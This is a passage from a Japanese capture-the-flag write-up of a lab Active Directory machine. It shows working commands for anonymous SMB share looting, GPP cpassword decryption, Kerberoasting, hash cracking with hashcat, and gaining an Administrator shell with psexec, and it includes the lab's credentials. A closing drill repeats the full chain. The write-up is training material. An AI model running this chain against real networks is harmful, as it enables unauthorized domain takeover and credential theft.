復号した資格情報が有効か SMB で確認する。

smbclient -U 'SVC_TGS%GPPstillStandingStrong2k18' -L //10.129.13.116/

5. Kerberoast で Administrator の TGS hash を取得

SVC_TGS の資格情報で Kerberoast を実行する。Administrator に SPN があるため、TGS hash を取得できる。

impacket-GetUserSPNs active.htb/SVC_TGS:GPPstillStandingStrong2k18 -dc-ip 10.129.13.116 -request -outputfile admin_tgs.hash

6. hash を crack して Administrator のパスワードを得る

取得した Kerberoast hash を hashcat で crack する。

hashcat -m 13100 admin_tgs.hash /usr/share/wordlists/rockyou.txt

得られる Administrator のパスワード。

Administrator / Ticketmaster1968

7. Administrator としてシェル取得

Administrator の資格情報で psexec し、root flag を取得する。

impacket-psexec Administrator:'Ticketmaster1968'@10.129.13.116

8. 攻撃の流れまとめ

Anonymous SMB
→ Replication 共有を取得
→ Groups.xml から cpassword を発見
→ gpp-decrypt で SVC_TGS のパスワード取得
→ SVC_TGS で Kerberoast
→ Administrator の TGS hash を crack
→ psexec で Administrator shell

drill

SMB列挙とReplication一括取得

smbclient -L //10.129.13.116/ -N
smbclient -N //10.129.13.116/Replication -c "recurse ON; prompt OFF; mget *"

GPP cpassword復号

gpp-decrypt 'edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ'

取得した資格情報でSMB確認

smbclient -U 'SVC_TGS%GPPstillStandingStrong2k18' -L //10.129.13.116/

Kerberoastとクラック

impacket-GetUserSPNs active.htb/SVC_TGS:GPPstillStandingStrong2k18 -dc-ip 10.129.13.116 -request -outputfile admin_tgs.hash
hashcat -m 13100 admin_tgs.hash /usr/share/wordlists/rockyou.txt

Administratorでシェル取得

impacket-psexec Administrator:'Ticketmaster1968'@10.129.13.116